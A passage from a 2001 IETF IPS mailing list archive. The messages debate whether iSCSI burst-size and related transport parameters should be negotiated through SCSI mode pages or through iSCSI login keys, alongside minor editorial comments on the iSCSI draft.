I think that the split we have now, even if not built according to every developers wet dreams, is reasonable. Julo "Sanjeev Bhagat \(TRIPACE/Zoetermee To: "Santosh Rao" , John r\)" Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page 25-09-01 01:58 settings. Please respond to "Sanjeev Bhagat \(TRIPACE/Zoetermee r\)" Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Tue Sep 25 20:12:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18939 for ; Tue, 25 Sep 2001 20:12:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PNaut06040 for ips-outgoing; Tue, 25 Sep 2001 19:36:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PNasP06034 for ; Tue, 25 Sep 2001 19:36:54 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by atlrel1.hp.com (Postfix) with ESMTP id CC9777BD for ; Tue, 25 Sep 2001 19:36:52 -0400 (EDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id QAA14686 for ; Tue, 25 Sep 2001 16:30:33 -0700 (PDT) Message-ID: <3BB11526.25BF10D8@cup.hp.com> Date: Tue, 25 Sep 2001 16:37:10 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips Subject: iscsi : mode sense/select vs. login keys. References: <3BAF896B.B9313753@cup.hp.com> <200109252200.PAA07666@core.rose.hp.com> Content-Type: multipart/mixed; boundary="------------80F49B88D5F41A2DA3D87DC3" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------80F49B88D5F41A2DA3D87DC3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit All, In order to give the group some further perspective on the in-effeciencies of using a mode sense/select based mechanism for negotiating iscsi parameters (especially, numerical parameters like MaximumBurstSize & FirstBurstSize), I've outlined further below the steps an initiator would need to take to negotiate iscsi numerical parameters through mode select/sense. Note that performance aggresive initiators would like to negotiate FirstBurstSize to as high a value as possible in order to boost performance on their WRITE I/Os. Thus, the below negotiation would be required, for at least, FirstBurstSize, if one were to use mode select/sense. Steps involved in mode select/sense negotiation : ==================================== When initiator needs to only read the target's mode page settings ----------------------------------------------- 1) Issue a mode sense(page control = "current values") for the desired mode page. When initiator needs to negotiate mode page settings (i.e. read and modify settings) -------------------------------------------------------- 1) Issue a mode sense(page control = "changable values") for the desired mode page. This allows the initiator to determine which parameters it is allowed to change. If none of the parameters are changable, then, the target responds with a CHECK CONDITION scsi status to the mode sense. (sense key = "illegal request", asc = "invalid field in cdb"). In this case, initiator issues a mode sense(page control = "current values") to determine the target's current settings for those parameters. 2) If the initiator could determine that the parameters are changable, it then issues a mode select(sp = 1) or mode select(sp = 0) for the desired mode page. (sp = save page. depending on whether the initiators wishes to save the mode page change). 3) The target may not support the exact value requested by the initiator. It may then choose to perform parameter rounding and sets the parameter to a rounded value. It then fails the mode select with a CHECK CONDITION scsi status (sense key = "recovered error", asc = "rounded parameter"). The initiator on seeing the above CHECK CONDITION would need to perform another mode sense("page control = current values") to determine the final negotiated value chosen by the target. The target may also choose not to implement parameter rounding. In this case, it would respond to the mode select from the initiator with a CHECK CONDITION scsi status with (sense key = "illegal request", asc = "invalid field in parameter list"). In this case, the initiator has failed to change the target's current parameters and it would need to perform a mode sense(page control = "current values") to determine the current page setting. As a short-cut, the initiator may choose to skip step (1) and attempt to change a parameter and then figure out the result the hard way. Note that in this case if any 1 field was non-changable, then, all other parameter negotiations within that page would also be failed. As you can see for yourself from the above, to negotiate any numerical parameter, the initiator will have to perform 2 mode sense operations and 1 mode select operation per mode page. The above steps are a very cumbersome & ineffecient negotiation technique, compared to the alternative of a simple 1-step handshake that the login key negotiation provides. An added advantage is that usage of login keys implies no additional on-the-wire SCSI commands for the purpose of parameter negotiation. Given the above inefficiencies, I suggest that iscsi skip the use of mode select/sense technique for negotiation and stick to login keys as far as possible. In any case, all of these mode pages have transport specific semantics and iscsi is within its rights to not use these mode pages. Comments ? Thanks, Santosh "Mallikarjun C." wrote: > Julian and Santosh, > > Whether FirstBurstSize should be a text key or not, > IMHO, is (mostly) dependent on the current implementations. > Santosh rightly pointed out several drawbacks of > mandating a new set of mode select/sense operations > that are totally iSCSI-specific since the legacy SCSI > stack (class drivers, services/midlayer) will have no > clue about them. OTOH, if most of today's SCSI stacks > _do_ perform this mode parameter manipulation in disconnect- > reconnect mode page, that would be a strong argument to > leave FirstBurstSize as a mode page parameter. > > A somewhat larger issue is whether this should be a nexus > parameter of a given I-T nexus (which login keys enable), > or not (which a *typical* shared mode page would preclude). > While I cannot identify an obvious advantage of using > a different FirstBurstSize for each I-T nexus in a > target, the fact that the login key enables either shared > or per-nexus parameter in a given target implementation > seems to tilt the balance in favor of a login key. > > Regards. > -- > Mallikarjun > > Mallikarjun Chadalapaka > Networked Storage Architecture > Network Storage Solutions Organization > MS 5668 Hewlett-Packard, Roseville. > cbm@rose.hp.com > > Santosh Rao wrote: > > > > Julian Satran wrote: > > > > > I can sympathize with you wanting to use most of the parameters in iSCSI - > > > but the values are in fact restrictions that SCSI places on iSCSI. > > > > Julian, > > > > I'm confused by your response. > > > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > > "The parameters appropriate to each protocol and their interpretation for that protocol may > > be specified in the individual protocol documents". > > > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for the pSCSI > > transport. Thus, iscsi is within its rights to declare this field as reserved and attach no > > meaning to it in the mode page. The FirstBurstSize can be negotiated during iscsi login > > through a login key. > > > > > Nevertheless the discussion is rather academic because SCSI can hand those > > > parameters to iSCSI. > > > > Again, I'm confused by your response. The reasons I'm suggesting the use of a login key > > instead of the mode page method are : > > > > * More accurate scope (applies only to this I-T nexus). > > > > * More optimal negotiation and reduced overhead in the establishment of the I-T nexus. (2 > > less SCSI commands per I-T nexus establishment.). > > > > * Enables faster I/O scan times due to lesser on-the-wire activity during I-T nexus > > establishment. > > > > * Allows less room for error in the I-T nexus establishment (no possiblity of failure to > > establish I-T nexus due to mode sense/select command failure). > > > > * Avoids mode select wars that can occur when target uses shared mode pages. > > > > * Simpler initiator implementations since they can avoid embedding SCSI command set > > knowledge as well as code to build/parse SCSI commands. Also, they can avoid extra code > > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC="mode parameters > > changed") in order to re-issue a mode sense to determine new values for FirstBurstSize. > > > > * Less code to interact with SCSI ULP application client to co-ordinate the mode page > > values b/n the ULP & LLP. > > > > * Can use un-solicited data from the very first scsi command in the session. > > > > I don't consider any of the above reasons to be academic and would like to know which ones > > among the above do you believe are academic and why ? > > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > > handling this type of negotiation dynamically over several connections. > > > > This is exactly the kind of stuff we don't need and should actually be trying to avoid. What > > good does dynamically changing FirstBurstSize serve ? Dynamically changing FirstBurstSize > > would only be achieved with least side-effects if : > > 1) The mode select implementation on target is not using shared mode pages. > > 2) The initiator has quiesced I/O prior to issuing the mode select for the change. > > > > Neither of the above 2 conditions would typically apply and any dynamic change of > > FirstBurstSize would only cause initiators to see a bunch of side-effects such as : > > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to "not enough > > un-solicited data". > > b) UA CHECK CONDITION for "mode parameters changed". > > > > In the interests of simplification and avoiding disruption of active I/O, such modifications > > must be avoided as far as possible. One way to achieve that is to use a login key and make > > it LO. > > > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > > > Once again, I'm perplexed by your response. I'm not saying that text mode negotiation is the > > reason I suggest moving this to a login key. The main objective is to isolate such > > negotiation within the iscsi layer in an iscsi specific PDU that is a part of the iscsi > > login process. > > > > Hope you will consider all of the above factors. > > > > Thanks, > > Santosh > > > > ps : [I wonder if there are any others on this list who care to voice their opinion on this > > issue. (??). ] --------------80F49B88D5F41A2DA3D87DC3 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------80F49B88D5F41A2DA3D87DC3-- From owner-ips@ece.cmu.edu Tue Sep 25 20:12:47 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18965 for ; Tue, 25 Sep 2001 20:12:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PNjMS06474 for ips-outgoing; Tue, 25 Sep 2001 19:45:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PNjJP06469 for ; Tue, 25 Sep 2001 19:45:19 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950710; Tue, 25 Sep 2001 16:45:20 -0700 Message-ID: <3BB11802.36C4FE22@redswitch.com> Date: Tue, 25 Sep 2001 16:49:22 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit GentlePeople: "3.3.7 Data Segment - Command Data Some SCSI commands require additional parameter data to accompany the SCSI command. This data may be placed beyond the boundary of the iSCSI header (a data segment). Alternatively, user data (as from a WRITE operation) can be placed in the same PDU (both cases referred to as immediate data). Those data are governed by the general rules for solicited vs. unsolicited data." I suggest that the parentheses are not required here: Change "iSCSI header (a data segment)." to "iSCSI header in a data segment." Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 20:13:01 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18977 for ; Tue, 25 Sep 2001 20:13:00 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PNAlS04417 for ips-outgoing; Tue, 25 Sep 2001 19:10:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PNAJP04375 for ; Tue, 25 Sep 2001 19:10:20 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id QAA09856; Tue, 25 Sep 2001 16:10:07 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Sep 2001 16:10:07 -0700 Message-ID: From: Robert Snively To: "'Sanjeev Bhagat (TRIPACE/Zoetermeer)'" , "'John Hufferd'" , Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iSCSI : default iSCSI mode page settings. Date: Tue, 25 Sep 2001 16:10:06 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk I hope that neither of these is necessary to the conclusion, because a) there is explicitly a SCSI CDB to set transport mode page parameters (MODE SELECT, Protocol Specific Port page) and b) zero copy can only be performed a Protocol DU at a time, since EMDP may request that SCSI data be delivered even though part of the data for a command is still missing. I also hope that you do not need to implement different characteristics for each logical unit, which is allowed by the LUN-oriented MODE SELECT commands, but is disallowed by the transport layer negotiation. > > By the way in my view there is no SCSI (CDB) command to set > transport mode > page parameters. Also a zero copy buffer operation to SCSI is > only possible > if there is no missing data in the buffer. > > Regards, > Sanjeev From owner-ips@ece.cmu.edu Tue Sep 25 20:14:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19019 for ; Tue, 25 Sep 2001 20:14:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PNB7v04449 for ips-outgoing; Tue, 25 Sep 2001 19:11:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PNB0P04441 for ; Tue, 25 Sep 2001 19:11:00 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id TAA89362; Tue, 25 Sep 2001 19:08:39 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PNAwV241634; Tue, 25 Sep 2001 17:10:58 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iscsi : default iscsi mode page settings. To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Tue, 25 Sep 2001 16:10:03 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/25/2001 05:10:57 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Sanjeev, Zero copy is intended for the main (performance) path. But its use in error situations depends on the implementation, specifically the buffer chaining technique that is in effect. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Sanjeev Bhagat (TRIPACE/Zoetermeer)" on 09/25/2001 03:06:47 PM To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iscsi : default iscsi mode page settings. Julo, John J&J :), So I see that you basically come to the point that FirstBurstSize and MaxBurstSize field be put into the login keys. If you agree this, and if i have to see the SCSI mode page parameters, the only odd field left out is EMDP (enable modify data pointer). This should also be included in login/text keys. Why should this be left out alone? The inititator will need to make an extra mode sense command to know this. We should either keep all three parameters readable through mode sense command or login /text keys or both. By the way in my view there is no SCSI (CDB) command to set transport mode page parameters. Also a zero copy buffer operation to SCSI is only possible if there is no missing data in the buffer. Regards, Sanjeev -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Tuesday, September 25, 2001 10:26 PM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. Julian, First I think that a good design will attempt to have a Zero Copy type buffering operation, from the time the data arrives from the Transport through the use by SCSI. However, perhaps this can be resolved a different way (perhaps you have even suggested it): Suppose the only way the Burst parameters (and maybe other transport parameters) can be set is via the Login/Text commands, and yet let the values be seen by either Login/Text or the Mode Page commands, perhaps all requirements can be met, and we can get off this discussion. In other words, iSCSI will see the values and can save it in local working variables, while also setting the Mode Page stuff. The implementation would be that Transport Mode-Page items can not be set by SCSI commands. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/25/2001 12:00:43 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. John, I understand this but then we have to move both and First and MaxBurstSize and we have created a problem for SCSI or BCM. My assumption was that as the cache is mainly a SCSI design (transport uses it only as a source and sink - transport has it's own buffers that form the window) dependent on device characteristics it may want to control the buffers and the traffic mix. And the mode page table will be accessible to both - obviously with only one of them having write rights. Regards, Julo John Hufferd@IBMUS To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 25-09-01 19:53 From: John Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page settings.(Document link: Julian Satran - Mail) Julian. Thank you for taking the time to express your views, in this way. That type of dialog can help push the debate forward. Now let me expressed some views that I hold, and ask you to let me know where I am wrong. I have viewed the Buffer/Cache Manager as an independent entity that belongs to the "Box" (or the embedded OS). I have not viewed the Buffer/Cache Manager as being a SCSI entity. Instead I have viewed SCSI as a user of the Box services called Buffer/Cache Manager. Likewise, I have viewed the Transport as a user of this same Buffer/Cache Manager(B/CM). I can understand that the B/CM can have certain input and output flows that it needs to be designed to handle. Further I understand that part of that design should factor in the needs of the SCSI LUs to consume Buffer Space. But the requirements of the Transport also needs to be factored in. As a result, I expect that there needs to be some defaults per link, and if the Transport is to negotiate Burst values, there probably needs to be an interface with the B/CM to ensure that the right values are negotiated. However, it is not clear that it makes sense for the iSCSI layer to keep polling (interfacing to) the B/CM just in case a SCSI command has changed the Mode Pages, nor does it see reasonable for iSCSI to inspect the CDBs to see if its mode Page items are being changed. So if it is not affected by a SCSI command and is only handled with Login/Text Command, then an approprate interface between the B/CM can be used to query about the approprate values to negotiate at any specific time. I think this is a reasonable and approprate design. This is why I have come to the conclusion that the burst values (other then defaults, if any) should not be a Mode Page item. Now it is clearly possible that I have missed something important here, so please let me know what it is. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/24/2001 11:28:15 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. Sanjeev, We can set any of those parameters wherever you want as its clearly a protocol prerogative. The one thing that I am trying to avoid is having one parameter being handled in two ways (It caused me more trouble that it was worth in the past and required a lot of logic). As such we have two consideration when selecting location: legacy what layer is the most affected by it It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type, the relative speed of the transport and device, QOS requirements at device. Data is already in the SCSI realm (not anymore individual PDUs but sequences that are governed by SCSI needs and (including fairness rules between LUs attached to the same bus). That is why we have those bursts - iSCSI does not need them - SCSI may need them for multiplexing and buffer limitations of its own. As far as iSCSI is concerned bursts are just trouble. But without them a pipe with a limited window will serve one LU and even beyond it's real capabilites. The multiplexing capability is needed by SCSI and is offered in different ways on different transports. Some "buses" have a "built-in" multiplexing capability. TCP does not and iSCSI adds it to it by the "burst limitation". All this said and based on an earlier comment made by Bob Snively that this could be a good criteria for splitting parameters between text and mode pages - I think that the split we have now, even if not built according to every developers wet dreams, is reasonable. Julo "Sanjeev Bhagat \(TRIPACE/Zoetermee To: "Santosh Rao" , John r\)" Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page 25-09-01 01:58 settings. Please respond to "Sanjeev Bhagat \(TRIPACE/Zoetermee r\)" Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Tue Sep 25 20:14:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19071 for ; Tue, 25 Sep 2001 20:14:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PNHb204905 for ips-outgoing; Tue, 25 Sep 2001 19:17:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PNHYP04896 for ; Tue, 25 Sep 2001 19:17:35 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950676; Tue, 25 Sep 2001 16:17:35 -0700 Message-ID: <3BB11181.B465645D@redswitch.com> Date: Tue, 25 Sep 2001 16:21:37 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: Comment 1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit GentlePeople: "3.2.1.1 X The X bit is used as a Retry/Restart indicator for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." "3.2.1.2 I The I bit is used as immediate delivery marker for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." - Reading the above paragraphs I do not get a sence of whether the X and I bits are active for a one or zero state. Please specify the logical function of both the X and I bits for both the one and zero states. Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 20:51:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19550 for ; Tue, 25 Sep 2001 20:51:55 